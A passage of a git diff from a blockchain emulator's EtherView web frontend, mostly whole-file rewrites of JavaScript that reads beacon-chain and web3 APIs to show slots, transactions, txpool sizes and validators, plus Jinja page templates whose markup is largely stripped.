(transactions.length > 0) { + var content = ""; + for (let i = 0; i < transactions.length; i++) { + var trx = transactions[i]; + content += `${trx.hash}
`; + } + } else { + content = "No transaction"; + } + table_row.innerHTML = ` + ${key} + ${content}`; + } else { + table_row.innerHTML = ` + ${key} + ${block[key]}`; + } + block_table.append(table_row); + } +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_one_slot.js b/tools/Blockchain/EtherView/server/static/js/script_one_slot.js index ace5dd439..2bbbb81c9 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_one_slot.js +++ b/tools/Blockchain/EtherView/server/static/js/script_one_slot.js @@ -1,186 +1,186 @@ -window.onload = function () { - init(); -}; - -async function init() { - providers = await get_beacon_providers(); - if (providers != null) { - set_provider_selector(); - } - // Get the element with id="defaultOpen" and click on it - document.getElementById("defaultOpen").click(); - - update_current_slot(); - initOverview(); - window.setInterval(update_current_slot, 10000); -} - -var slot_fields = [ - "epoch", - "slot", - "block_number", - "recipient", - "status", - "timestamp", - "proposer", - "parent_root", - "state_root", - "signature", - "randao_reveal", - "eth_data", - "execution_payload", - "attestations", - "deposits", -]; - -async function initOverview() { - let res = await request_api( - provider_url + "/eth/v2/beacon/blocks/" + slot_number - ); - res = res.data; - let slot_details = {}; - slot_details.slot = res.message.slot; - slot_details.epoch = Math.floor(parseInt(res.message.slot) / 4); - slot_details.block_number = res.message.body.execution_payload.block_number; - slot_details.recipient = res.message.body.execution_payload.fee_recipient; - slot_details.timestamp = new Date( - parseInt(res.message.body.execution_payload.timestamp) * 1000 - ); - slot_details.proposer = res.message.proposer_index; - slot_details.parent_root = res.message.parent_root; - slot_details.state_root = res.message.state_root; - slot_details.randao_reveal = res.message.body.randao_reveal; - slot_details.signature = res.signature; - slot_details.eth_data = res.message.body.eth1_data; - slot_details.execution_payload = res.message.body.execution_payload; - slot_details.attestations = res.message.body.attestations.length; - slot_details.deposits = res.message.body.deposits.length; - slot_details.status = `Proposed`; - - let attestations = []; - $.each(res.message.body.attestations, function (index, attestation) { - attestation.aggregation_bits = parseInt( - attestation.aggregation_bits.replace("0x", ""), - 16 - ).toString(2); - attestation = { ...attestation, ...attestation.data }; - attestation.source = attestation.data.source.epoch; - attestation.target = attestation.data.target.epoch; - attestations.push(attestation); - }); - - res = await request_api( - provider_url + "/eth/v1/beacon/states/head/finality_checkpoints" - ); - finalized_epoch = parseInt(res["data"]["finalized"]["epoch"]); - if (parseInt(slot_details.epoch) <= finalized_epoch) { - slot_details.status += `Finalized`; - } - loadSlotDetails(slot_fields, slot_details); - loadAttestations(attestations); - loadTransactions(slot_details.block_number); -} - -async function loadTransactions(block_number) { - let provider = ethers.getDefaultProvider( - provider_url.replace("8000", "8545") - ); - let block = await provider.getBlock(parseInt(block_number)); - - fields = ["hash", "from", "to", "value"]; - let divs = `
`; - - for (let i = 0; i < block.transactions.length; i++) { - let tx = await provider.getTransaction(block.transactions[i]); - divs += `
-
-
Transaction ${i}
-
`; - $.each(fields, function (index, field) { - if (field == "hash") { - divs += `
-
${field}:
- -
`; - } else { - divs += `
-
${field}:
-
${tx[field]}
-
`; - } - }); - divs += `
`; - } - if (block.transactions.length == 0) { - divs += `
-
-
No Transaction
-
-
`; - } - divs += `
`; - $("#Transactions").html(divs); -} - -// async function loadTransactions(block_number){ -// let provider = ethers.getDefaultProvider(provider_url.replace("8000", "8545")); -// let block = await provider.getBlock(parseInt(block_number)); -// let tx_list = []; -// var tbody = ""; -// for (let i=0; i< block.transactions.length; i++){ -// let tx = await provider.getTransaction(block.transactions[i]); -// tbody += ` -// ${tx.hash} -// ${tx.from} -// ${tx.to} -// ${tx.value} -// ` -// } - -// console.log(tbody) -// $("#table-body").html(tbody); -// } - -async function loadAttestations(data) { - fields = [ - "slot", - "index", - "aggregation_bits", - "beacon_block_root", - "source", - "target", - "signature", - ]; - let divs = `
`; - - $.each(data, function (index, aggregation) { - divs += `
-
-
Attestation ${index}
-
`; - $.each(fields, function (index, field) { - divs += `
-
${field}:
-
${aggregation[field]}
-
`; - }); - divs += `
`; - }); - divs += `
`; - $("#Attestations").html(divs); -} -async function loadSlotDetails(fields, data) { - let divs = ""; - $.each(fields, function (index, field) { - let div = "
"; - div += "
" + field + " :
"; - let content = data[field]; - if (typeof content === "object") { - content = JSON.stringify(content, null, 3); - } - div += "
" + content + "
"; - div += "
"; - divs += div; - }); - $("#Overview").html(divs); -} +window.onload = function () { + init(); +}; + +async function init() { + providers = await get_beacon_providers(); + if (providers != null) { + set_provider_selector(); + } + // Get the element with id="defaultOpen" and click on it + document.getElementById("defaultOpen").click(); + + update_current_slot(); + initOverview(); + window.setInterval(update_current_slot, 10000); +} + +var slot_fields = [ + "epoch", + "slot", + "block_number", + "recipient", + "status", + "timestamp", + "proposer", + "parent_root", + "state_root", + "signature", + "randao_reveal", + "eth_data", + "execution_payload", + "attestations", + "deposits", +]; + +async function initOverview() { + let res = await request_api( + provider_url + "/eth/v2/beacon/blocks/" + slot_number + ); + res = res.data; + let slot_details = {}; + slot_details.slot = res.message.slot; + slot_details.epoch = Math.floor(parseInt(res.message.slot) / 4); + slot_details.block_number = res.message.body.execution_payload.block_number; + slot_details.recipient = res.message.body.execution_payload.fee_recipient; + slot_details.timestamp = new Date( + parseInt(res.message.body.execution_payload.timestamp) * 1000 + ); + slot_details.proposer = res.message.proposer_index; + slot_details.parent_root = res.message.parent_root; + slot_details.state_root = res.message.state_root; + slot_details.randao_reveal = res.message.body.randao_reveal; + slot_details.signature = res.signature; + slot_details.eth_data = res.message.body.eth1_data; + slot_details.execution_payload = res.message.body.execution_payload; + slot_details.attestations = res.message.body.attestations.length; + slot_details.deposits = res.message.body.deposits.length; + slot_details.status = `Proposed`; + + let attestations = []; + $.each(res.message.body.attestations, function (index, attestation) { + attestation.aggregation_bits = parseInt( + attestation.aggregation_bits.replace("0x", ""), + 16 + ).toString(2); + attestation = { ...attestation, ...attestation.data }; + attestation.source = attestation.data.source.epoch; + attestation.target = attestation.data.target.epoch; + attestations.push(attestation); + }); + + res = await request_api( + provider_url + "/eth/v1/beacon/states/head/finality_checkpoints" + ); + finalized_epoch = parseInt(res["data"]["finalized"]["epoch"]); + if (parseInt(slot_details.epoch) <= finalized_epoch) { + slot_details.status += `Finalized`; + } + loadSlotDetails(slot_fields, slot_details); + loadAttestations(attestations); + loadTransactions(slot_details.block_number); +} + +async function loadTransactions(block_number) { + let provider = ethers.getDefaultProvider( + provider_url.replace("8000", "8545") + ); + let block = await provider.getBlock(parseInt(block_number)); + + fields = ["hash", "from", "to", "value"]; + let divs = `
`; + + for (let i = 0; i < block.transactions.length; i++) { + let tx = await provider.getTransaction(block.transactions[i]); + divs += `
+
+
Transaction ${i}
+
`; + $.each(fields, function (index, field) { + if (field == "hash") { + divs += `
+
${field}:
+ +
`; + } else { + divs += `
+
${field}:
+
${tx[field]}
+
`; + } + }); + divs += `
`; + } + if (block.transactions.length == 0) { + divs += `
+
+
No Transaction
+
+
`; + } + divs += `
`; + $("#Transactions").html(divs); +} + +// async function loadTransactions(block_number){ +// let provider = ethers.getDefaultProvider(provider_url.replace("8000", "8545")); +// let block = await provider.getBlock(parseInt(block_number)); +// let tx_list = []; +// var tbody = ""; +// for (let i=0; i< block.transactions.length; i++){ +// let tx = await provider.getTransaction(block.transactions[i]); +// tbody += ` +// ${tx.hash} +// ${tx.from} +// ${tx.to} +// ${tx.value} +// ` +// } + +// console.log(tbody) +// $("#table-body").html(tbody); +// } + +async function loadAttestations(data) { + fields = [ + "slot", + "index", + "aggregation_bits", + "beacon_block_root", + "source", + "target", + "signature", + ]; + let divs = `
`; + + $.each(data, function (index, aggregation) { + divs += `
+
+
Attestation ${index}
+
`; + $.each(fields, function (index, field) { + divs += `
+
${field}:
+
${aggregation[field]}
+
`; + }); + divs += `
`; + }); + divs += `
`; + $("#Attestations").html(divs); +} +async function loadSlotDetails(fields, data) { + let divs = ""; + $.each(fields, function (index, field) { + let div = "
"; + div += "
" + field + " :
"; + let content = data[field]; + if (typeof content === "object") { + content = JSON.stringify(content, null, 3); + } + div += "
" + content + "
"; + div += "
"; + divs += div; + }); + $("#Overview").html(divs); +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_one_tx.js b/tools/Blockchain/EtherView/server/static/js/script_one_tx.js index c7082c185..60c9eabb9 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_one_tx.js +++ b/tools/Blockchain/EtherView/server/static/js/script_one_tx.js @@ -1,46 +1,46 @@ -var provider_url = emulator_parameters["web3_provider"]; -var tx_hash = emulator_parameters["tx_hash"]; - -window.onload = function () { - show_tx(tx_hash); - - let button = document.getElementById("new-tx-button"); - button.setAttribute("onclick", "show_new_tx()"); - - // Show the default tab - document.getElementById("defaultOpen").click(); -}; - -async function show_new_tx() { - let hash = document.getElementById("new-tx-hash").value; - show_tx(hash); -} - -async function show_tx(hash) { - var provider = ethers.getDefaultProvider(provider_url); - var tx = await provider.getTransaction(hash); - - if ("wait" in tx) { - tx["wait"] = "(omitted)"; - } - add_to_page(tx, "tx-table-body"); - - var tx_r = await provider.getTransactionReceipt(hash); - if ("logsBloom" in tx_r) { - tx_r["logsBloom"] = "(omitted)"; - } - add_to_page(tx_r, "tx-receipt-table-body"); -} - -function add_to_page(content, element_id) { - let table = document.getElementById(element_id); - table.innerHTML = ""; // Clean the table first - for (var key in content) { - let row = document.createElement("tr"); - row.setAttribute("id", key); - row.innerHTML = ` - ${key} - ${content[key]}`; - table.append(row); - } -} +var provider_url = emulator_parameters["web3_provider"]; +var tx_hash = emulator_parameters["tx_hash"]; + +window.onload = function () { + show_tx(tx_hash); + + let button = document.getElementById("new-tx-button"); + button.setAttribute("onclick", "show_new_tx()"); + + // Show the default tab + document.getElementById("defaultOpen").click(); +}; + +async function show_new_tx() { + let hash = document.getElementById("new-tx-hash").value; + show_tx(hash); +} + +async function show_tx(hash) { + var provider = ethers.getDefaultProvider(provider_url); + var tx = await provider.getTransaction(hash); + + if ("wait" in tx) { + tx["wait"] = "(omitted)"; + } + add_to_page(tx, "tx-table-body"); + + var tx_r = await provider.getTransactionReceipt(hash); + if ("logsBloom" in tx_r) { + tx_r["logsBloom"] = "(omitted)"; + } + add_to_page(tx_r, "tx-receipt-table-body"); +} + +function add_to_page(content, element_id) { + let table = document.getElementById(element_id); + table.innerHTML = ""; // Clean the table first + for (var key in content) { + let row = document.createElement("tr"); + row.setAttribute("id", key); + row.innerHTML = ` + ${key} + ${content[key]}`; + table.append(row); + } +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_slot_view.js b/tools/Blockchain/EtherView/server/static/js/script_slot_view.js index d273c1f38..479c6466c 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_slot_view.js +++ b/tools/Blockchain/EtherView/server/static/js/script_slot_view.js @@ -1,245 +1,245 @@ -window.onload = function () { - init(); -}; - -var current_epoch = null; -var initial_epoch = null; -var current_slot = null; -var slot_info = []; - -async function init() { - providers = await get_beacon_providers(); - if (providers != null) { - set_provider_selector(); - } - await set_navigator(); - - update_current_slot(); - init_slot(); - - - - - window.setInterval(update_current_slot, 10000); - window.setInterval(update_slot, 10000); - window.setInterval(update_timestamp, 1000); -} - -async function init_slot() { - current_slot = await get_current_slot(); - updated_epoch = Math.floor(parseInt(current_slot) / 4); - - current_epoch = updated_epoch - 2; - initial_epoch = current_epoch; - - for (let epoch = current_epoch; epoch <= updated_epoch + 1; epoch++) { - res = await request_api( - provider_url + "/eth/v1/validator/duties/proposer/" + epoch - ); - - if ("data" in res) { - slots = res["data"].reverse(); - - $.each(slots, async function (index, slot) { - slot["epoch"] = epoch; - slot["slot_number"] = slot["slot"]; - - slot["status"] = "Scheduled"; - slot["block"] = "-"; - slot["time"] = ""; - - if (slot["slot_number"] <= current_slot) { - block = await request_api( - provider_url + "/eth/v2/beacon/blocks/" + slot["slot_number"] - ); - if ("data" in block) { - block_number = - block.data.message.body.execution_payload.block_number; - - slot["timestamp"] = - block.data.message.body.execution_payload.timestamp; - slot["status"] = "Proposed"; - slot[ - "block" - ] = `${block_number}`; - slot[ - "slot" - ] = `${slot.slot}`; - let sec = Math.floor((Date.now() - slot.timestamp * 1000) / 1000); - slot[ - "time" - ] = ``; - if (sec < 60) { - slot["time"] += `${sec} seconds ago`; - } else { - let min = Math.floor(sec / 60); - if (min == 1) { - slot["time"] += `${Math.floor(sec / 60)} min ago`; - } else { - slot["time"] += `${Math.floor(sec / 60)} mins ago`; - } - } - } else { - slot["status"] = "Skipped"; - } - } - }); - - committees = await request_api( - provider_url + "/eth/v1/beacon/states/" + epoch * 4 + "/committees" - ); - - if ("data" in committees) { - committees = committees["data"]; - $.each(committees, function (index, committee) { - $.each(slots, async function (index, slot) { - if (committee["slot"] == slot["slot_number"]) { - if (!("committees" in slot)) { - slot["committees"] = {}; - } - slot["committees"][committee["index"]] = committee["validators"]; - } - }); - }); - } - slot_info = slots.concat(slot_info); - } - } - - current_epoch = updated_epoch; - loadTable( - "table-body", - [ - "epoch", - "slot", - "block", - "status", - "time", - "validator_index", - "committees", - ], - slot_info - ); -} - -async function update_slot() { - let updated_slot = await get_current_slot(); - updated_epoch = Math.floor(parseInt(updated_slot) / 4); - - if (current_epoch < updated_epoch) { - for (let epoch = current_epoch + 2; epoch <= updated_epoch + 1; epoch++) { - res = await request_api( - provider_url + "/eth/v1/validator/duties/proposer/" + epoch - ); - - if ("data" in res) { - slots = res["data"]; - - $.each(slots, async function (index, slot) { - slot["epoch"] = epoch; - slot["status"] = "Scheduled"; - slot["block"] = "-"; - slot["time"] = ""; - insertTable( - "table-body", - [ - "epoch", - "slot", - "block", - "status", - "time", - "validator_index", - "committees", - ], - slot - ); - }); - } - } - - for (let epoch = current_epoch + 1; epoch <= updated_epoch; epoch++) { - if (epoch <= updated_epoch) { - committees = await request_api( - provider_url + "/eth/v1/beacon/states/" + epoch * 4 + "/committees" - ); - if ("data" in committees) { - committees = committees["data"]; - $.each(committees, function (index, committee) { - let committeesCell = document.getElementById( - committee.slot + "_committees" - ); - let newText = document.createTextNode( - "{" + committee["index"] + ":[" + committee["validators"] + "]} " - ); - committeesCell.appendChild(newText); - }); - } - } - } - } - current_epoch = updated_epoch; - update_status(updated_slot); -} - -async function update_status(updated_slot) { - if (current_slot < updated_slot) { - for (let s = current_slot + 1; s <= updated_slot; s++) { - block = await request_api(provider_url + "/eth/v2/beacon/blocks/" + s); - if ("data" in block) { - block_number = block.data.message.body.execution_payload.block_number; - - $("#" + s.toString() + "_status").html("Proposed"); - $("#" + s.toString() + "_block").html( - `${block_number}` - ); - $("#" + s.toString() + "_slot").html( - `${s}` - ); - let timestamp = block.data.message.body.execution_payload.timestamp; - let sec = Math.floor((Date.now() - timestamp * 1000) / 1000); - let time = ``; - - if (sec < 60) { - time += `${sec} seconds ago`; - } else { - let min = Math.floor(sec / 60); - if (min == 1) { - time += `${Math.floor(sec / 60)} min ago`; - } else { - time += `${Math.floor(sec / 60)} mins ago`; - } - } - $("#" + s.toString() + "_time").html(time); - } else { - $("#" + s.toString() + "_status").html("Skipped"); - } - } - } - current_slot = updated_slot; -} - -async function update_timestamp() { - let initial_slot = initial_epoch * 4; - for (let slot = initial_slot; slot <= current_slot; slot++) { - let timecell = document.getElementById(`${slot}_timestamp`) - if (timecell == null){ - continue - } - let timestamp = parseInt( - timecell.innerText - ); - let sec = Math.floor((Date.now() - timestamp * 1000) / 1000); - let time = ``; - if (sec < 60) { - time += `${sec} seconds ago`; - } else { - let min = Math.floor(sec / 60); - if (min == 1) { - time += `${Math.floor(sec / 60)} min ago`; - } else { - time += `${Math.floor(sec / 60)} mins ago`; - } - } - $("#" + slot.toString() + "_time").html(time); - } -} +window.onload = function () { + init(); +}; + +var current_epoch = null; +var initial_epoch = null; +var current_slot = null; +var slot_info = []; + +async function init() { + providers = await get_beacon_providers(); + if (providers != null) { + set_provider_selector(); + } + await set_navigator(); + + update_current_slot(); + init_slot(); + + + + + window.setInterval(update_current_slot, 10000); + window.setInterval(update_slot, 10000); + window.setInterval(update_timestamp, 1000); +} + +async function init_slot() { + current_slot = await get_current_slot(); + updated_epoch = Math.floor(parseInt(current_slot) / 4); + + current_epoch = updated_epoch - 2; + initial_epoch = current_epoch; + + for (let epoch = current_epoch; epoch <= updated_epoch + 1; epoch++) { + res = await request_api( + provider_url + "/eth/v1/validator/duties/proposer/" + epoch + ); + + if ("data" in res) { + slots = res["data"].reverse(); + + $.each(slots, async function (index, slot) { + slot["epoch"] = epoch; + slot["slot_number"] = slot["slot"]; + + slot["status"] = "Scheduled"; + slot["block"] = "-"; + slot["time"] = ""; + + if (slot["slot_number"] <= current_slot) { + block = await request_api( + provider_url + "/eth/v2/beacon/blocks/" + slot["slot_number"] + ); + if ("data" in block) { + block_number = + block.data.message.body.execution_payload.block_number; + + slot["timestamp"] = + block.data.message.body.execution_payload.timestamp; + slot["status"] = "Proposed"; + slot[ + "block" + ] = `${block_number}`; + slot[ + "slot" + ] = `${slot.slot}`; + let sec = Math.floor((Date.now() - slot.timestamp * 1000) / 1000); + slot[ + "time" + ] = ``; + if (sec < 60) { + slot["time"] += `${sec} seconds ago`; + } else { + let min = Math.floor(sec / 60); + if (min == 1) { + slot["time"] += `${Math.floor(sec / 60)} min ago`; + } else { + slot["time"] += `${Math.floor(sec / 60)} mins ago`; + } + } + } else { + slot["status"] = "Skipped"; + } + } + }); + + committees = await request_api( + provider_url + "/eth/v1/beacon/states/" + epoch * 4 + "/committees" + ); + + if ("data" in committees) { + committees = committees["data"]; + $.each(committees, function (index, committee) { + $.each(slots, async function (index, slot) { + if (committee["slot"] == slot["slot_number"]) { + if (!("committees" in slot)) { + slot["committees"] = {}; + } + slot["committees"][committee["index"]] = committee["validators"]; + } + }); + }); + } + slot_info = slots.concat(slot_info); + } + } + + current_epoch = updated_epoch; + loadTable( + "table-body", + [ + "epoch", + "slot", + "block", + "status", + "time", + "validator_index", + "committees", + ], + slot_info + ); +} + +async function update_slot() { + let updated_slot = await get_current_slot(); + updated_epoch = Math.floor(parseInt(updated_slot) / 4); + + if (current_epoch < updated_epoch) { + for (let epoch = current_epoch + 2; epoch <= updated_epoch + 1; epoch++) { + res = await request_api( + provider_url + "/eth/v1/validator/duties/proposer/" + epoch + ); + + if ("data" in res) { + slots = res["data"]; + + $.each(slots, async function (index, slot) { + slot["epoch"] = epoch; + slot["status"] = "Scheduled"; + slot["block"] = "-"; + slot["time"] = ""; + insertTable( + "table-body", + [ + "epoch", + "slot", + "block", + "status", + "time", + "validator_index", + "committees", + ], + slot + ); + }); + } + } + + for (let epoch = current_epoch + 1; epoch <= updated_epoch; epoch++) { + if (epoch <= updated_epoch) { + committees = await request_api( + provider_url + "/eth/v1/beacon/states/" + epoch * 4 + "/committees" + ); + if ("data" in committees) { + committees = committees["data"]; + $.each(committees, function (index, committee) { + let committeesCell = document.getElementById( + committee.slot + "_committees" + ); + let newText = document.createTextNode( + "{" + committee["index"] + ":[" + committee["validators"] + "]} " + ); + committeesCell.appendChild(newText); + }); + } + } + } + } + current_epoch = updated_epoch; + update_status(updated_slot); +} + +async function update_status(updated_slot) { + if (current_slot < updated_slot) { + for (let s = current_slot + 1; s <= updated_slot; s++) { + block = await request_api(provider_url + "/eth/v2/beacon/blocks/" + s); + if ("data" in block) { + block_number = block.data.message.body.execution_payload.block_number; + + $("#" + s.toString() + "_status").html("Proposed"); + $("#" + s.toString() + "_block").html( + `${block_number}` + ); + $("#" + s.toString() + "_slot").html( + `${s}` + ); + let timestamp = block.data.message.body.execution_payload.timestamp; + let sec = Math.floor((Date.now() - timestamp * 1000) / 1000); + let time = ``; + + if (sec < 60) { + time += `${sec} seconds ago`; + } else { + let min = Math.floor(sec / 60); + if (min == 1) { + time += `${Math.floor(sec / 60)} min ago`; + } else { + time += `${Math.floor(sec / 60)} mins ago`; + } + } + $("#" + s.toString() + "_time").html(time); + } else { + $("#" + s.toString() + "_status").html("Skipped"); + } + } + } + current_slot = updated_slot; +} + +async function update_timestamp() { + let initial_slot = initial_epoch * 4; + for (let slot = initial_slot; slot <= current_slot; slot++) { + let timecell = document.getElementById(`${slot}_timestamp`) + if (timecell == null){ + continue + } + let timestamp = parseInt( + timecell.innerText + ); + let sec = Math.floor((Date.now() - timestamp * 1000) / 1000); + let time = ``; + if (sec < 60) { + time += `${sec} seconds ago`; + } else { + let min = Math.floor(sec / 60); + if (min == 1) { + time += `${Math.floor(sec / 60)} min ago`; + } else { + time += `${Math.floor(sec / 60)} mins ago`; + } + } + $("#" + slot.toString() + "_time").html(time); + } +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_txpool.js b/tools/Blockchain/EtherView/server/static/js/script_txpool.js index d1bdcb134..083068fa3 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_txpool.js +++ b/tools/Blockchain/EtherView/server/static/js/script_txpool.js @@ -1,66 +1,66 @@ -window.onload = function () { - init(); -}; - -var provider_urls; -var providers = []; -async function init() { - provider_urls = await get_web3_providers("/get_web3_providers"); - for (let i = 0; i < provider_urls.length; i++) { - var provider = {}; - provider.url = provider_urls[i]; - providers.push(provider); - } - await set_navigator(); - await update_txpool(); - - window.setInterval(update_txpool, 3 * 1000); -} - -async function update_txpool() { - for (let i = 0; i < providers.length; i++) { - var provider = new ethers.providers.JsonRpcProvider(provider_urls[i]); - var txpool_length = 0; - - if (provider) { - txpool = await provider.send("txpool_inspect"); - - if (txpool) { - addrs = Object.keys(txpool.pending); - for (let j = 0; j < addrs.length; j++) { - nonce_list = Object.keys(txpool.pending[addrs[j]]); - txpool_length += nonce_list.length; - } - } - } - providers[i].txpool = txpool_length; - } - loadTable("txpool-table-body", ["url", "txpool"], providers); -} - -function loadTable(tableId, fields, data) { - var rows = ""; - $.each(data, function (index, item) { - var row = ""; - $.each(fields, function (index, field) { - let cellText = ""; - if (item[field] != null) { - cellText = item[field]; - } - - row += "" + cellText + ""; - }); - rows += row + ""; - }); - $("#" + tableId).html(rows); -} -async function get_web3_providers(url) { - const response = await fetch(url); - - all_providers = await response.json(); - if (response) { - return all_providers.sort(); - } else { - return null; - } -} +window.onload = function () { + init(); +}; + +var provider_urls; +var providers = []; +async function init() { + provider_urls = await get_web3_providers("/get_web3_providers"); + for (let i = 0; i < provider_urls.length; i++) { + var provider = {}; + provider.url = provider_urls[i]; + providers.push(provider); + } + await set_navigator(); + await update_txpool(); + + window.setInterval(update_txpool, 3 * 1000); +} + +async function update_txpool() { + for (let i = 0; i < providers.length; i++) { + var provider = new ethers.providers.JsonRpcProvider(provider_urls[i]); + var txpool_length = 0; + + if (provider) { + txpool = await provider.send("txpool_inspect"); + + if (txpool) { + addrs = Object.keys(txpool.pending); + for (let j = 0; j < addrs.length; j++) { + nonce_list = Object.keys(txpool.pending[addrs[j]]); + txpool_length += nonce_list.length; + } + } + } + providers[i].txpool = txpool_length; + } + loadTable("txpool-table-body", ["url", "txpool"], providers); +} + +function loadTable(tableId, fields, data) { + var rows = ""; + $.each(data, function (index, item) { + var row = ""; + $.each(fields, function (index, field) { + let cellText = ""; + if (item[field] != null) { + cellText = item[field]; + } + + row += "" + cellText + ""; + }); + rows += row + ""; + }); + $("#" + tableId).html(rows); +} +async function get_web3_providers(url) { + const response = await fetch(url); + + all_providers = await response.json(); + if (response) { + return all_providers.sort(); + } else { + return null; + } +} diff --git a/tools/Blockchain/EtherView/server/static/js/script_validator_view.js b/tools/Blockchain/EtherView/server/static/js/script_validator_view.js index 5e86210d6..7b12de9e7 100644 --- a/tools/Blockchain/EtherView/server/static/js/script_validator_view.js +++ b/tools/Blockchain/EtherView/server/static/js/script_validator_view.js @@ -1,32 +1,32 @@ -window.onload = function () { - init(); -}; - -async function init() { - providers = await get_beacon_providers(); - if (providers!=null) { - set_provider_selector(); - } - await set_navigator(); - - update_validator(); - update_current_slot(); - - window.setInterval(update_validator, 5000); - window.setInterval(update_current_slot, 5000) -} - -async function update_validator(){ - const response = await fetch(provider_url+"/eth/v1/beacon/states/head/validators"); - - validators = await response.json(); - - let parsed_validators_info = []; - $.each(validators['data'].reverse(), function(index, validator){ - parsed_validators_info.push({...validator, ...validator['validator']}); - }); - - loadTable('table-body', ['index', 'balance', 'status', 'activation_eligibility_epoch', 'activation_epoch', 'pubkey'], parsed_validators_info) -} - - +window.onload = function () { + init(); +}; + +async function init() { + providers = await get_beacon_providers(); + if (providers!=null) { + set_provider_selector(); + } + await set_navigator(); + + update_validator(); + update_current_slot(); + + window.setInterval(update_validator, 5000); + window.setInterval(update_current_slot, 5000) +} + +async function update_validator(){ + const response = await fetch(provider_url+"/eth/v1/beacon/states/head/validators"); + + validators = await response.json(); + + let parsed_validators_info = []; + $.each(validators['data'].reverse(), function(index, validator){ + parsed_validators_info.push({...validator, ...validator['validator']}); + }); + + loadTable('table-body', ['index', 'balance', 'status', 'activation_eligibility_epoch', 'activation_epoch', 'pubkey'], parsed_validators_info) +} + + diff --git a/tools/Blockchain/EtherView/server/templates/base.html b/tools/Blockchain/EtherView/server/templates/base.html index 152bbdd72..3c8308b8c 100644 --- a/tools/Blockchain/EtherView/server/templates/base.html +++ b/tools/Blockchain/EtherView/server/templates/base.html @@ -1,43 +1,43 @@ - - - - - - - - - - - {% block style%} {% endblock %} {% block title%} {% endblock%} - - - -
-
{% block content %} {% endblock %}
-
- - + + + + + + + + + + + {% block style%} {% endblock %} {% block title%} {% endblock%} + + + +
+
{% block content %} {% endblock %}
+
+ + diff --git a/tools/Blockchain/EtherView/server/templates/beacon-frontend/one-slot.html b/tools/Blockchain/EtherView/server/templates/beacon-frontend/one-slot.html index 8dd0aab8b..562196fa8 100644 --- a/tools/Blockchain/EtherView/server/templates/beacon-frontend/one-slot.html +++ b/tools/Blockchain/EtherView/server/templates/beacon-frontend/one-slot.html @@ -1,62 +1,62 @@ -{% extends "base.html" %} {% block style %} - - - - - - -{% endblock %} {% block content %} - -

Slot Details

- -
Current Epoch:
- -
Current Slot:
- -
- -
- - - -
- - -
- -
- -
- - {% endblock %} -
+{% extends "base.html" %} {% block style %} + + + + + + +{% endblock %} {% block content %} + +

Slot Details

+ +
Current Epoch:
+ +
Current Slot:
+ +
+ +
+ + + +
+ + +
+ +
+ +
+ + {% endblock %} +
diff --git a/tools/Blockchain/EtherView/server/templates/beacon-frontend/slot-view.html b/tools/Blockchain/EtherView/server/templates/beacon-frontend/slot-view.html index 263801b2f..fda3f5b74 100644 --- a/tools/Blockchain/EtherView/server/templates/beacon-frontend/slot-view.html +++ b/tools/Blockchain/EtherView/server/templates/beacon-frontend/slot-view.html @@ -1,51 +1,51 @@ -{% extends "base.html" %} {% block style %} - - - -{% endblock %} {% block content %} - -

Slots

- - - -
- Current Epoch: -
- -
-Current Slot: -
- -
- - - - - - - - - - - - - - - - -
EpochSlotBlockStatusTimeProposerCommittees
-
- -{% endblock %} +{% extends "base.html" %} {% block style %} + + + +{% endblock %} {% block content %} + +

Slots

+ + + +
+ Current Epoch: +
+ +
+Current Slot: +
+ +
+ + + + + + + + + + + + + + + + +
EpochSlotBlockStatusTimeProposerCommittees
+
+ +{% endblock %} diff --git a/tools/Blockchain/EtherView/server/templates/beacon-frontend/validator-view.html b/tools/Blockchain/EtherView/server/templates/beacon-frontend/validator-view.html index eba763f95..0e2b5c5c1 100644 --- a/tools/Blockchain/EtherView/server/templates/beacon-frontend/validator-view.html +++ b/tools/Blockchain/EtherView/server/templates/beacon-frontend/validator-view.html @@ -1,51 +1,51 @@ -{% extends "base.html" %} {% block style %} - - - -{% endblock %} {% block content %} - -

Validator Status

- - - - -
- Current Epoch: -
- -
- Current Slot: -
- - -
- - - - - - - - - - - - - - -
Validator IDBalanceStatusActivation Eligibility EpochActivation EpochValidator pubkey
-
- -{% endblock %} +{% extends "base.html" %} {% block style %} + + + +{% endblock %} {% block content %} + +

Validator Status

+ + + + +
+ Current Epoch: +
+ +
+ Current Slot: +
+ + +
+ + + + + + + + + + + + + + +
Validator IDBalanceStatusActivation Eligibility EpochActivation EpochValidator pubkey
+
+ +{% endblock %} diff --git a/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-deploy-frontend.html b/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-deploy-frontend.html index a1e25e6e2..856a7805e 100644 --- a/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-deploy-frontend.html +++ b/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-deploy-frontend.html @@ -1,64 +1,64 @@ -{% extends "base.html" %} - -{% block style %} - - -{% endblock %} - -{% block content %} -
-
-

Contract deployment

-
-
-
-
- - - -
-
Upload .abi and .bin files
-
- .abi: - .bin: - -
-
-
-
- - -
-
- - -
-
- -
-
- -
-
-
-
-
Preview abi
-
-
Deployment Status
-
-
-
- -
+{% extends "base.html" %} + +{% block style %} + + +{% endblock %} + +{% block content %} +
+
+

Contract deployment

+
+
+
+
+ + + +
+
Upload .abi and .bin files
+
+ .abi: + .bin: + +
+
+
+
+ + +
+
+ + +
+
+ +
+
+ +
+
+
+
+
Preview abi
+
+
Deployment Status
+
+
+
+ +
{% endblock %} \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-frontend.html b/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-frontend.html index f3fb4fd5d..b13288520 100644 --- a/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-frontend.html +++ b/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-frontend.html @@ -1,48 +1,48 @@ -{% extends "base.html" %} - -{% block style %} - - -{% endblock %} - -{% block content %} -
-
Contract Name
-

{{data["contract-address"][:42]}}

-

Contract State:

-
-
-
-
-

Contract interaction

-
-
- - -
-
- -
-
- -
-
-
- - - - - -
-
-
-

output

-
-
- -
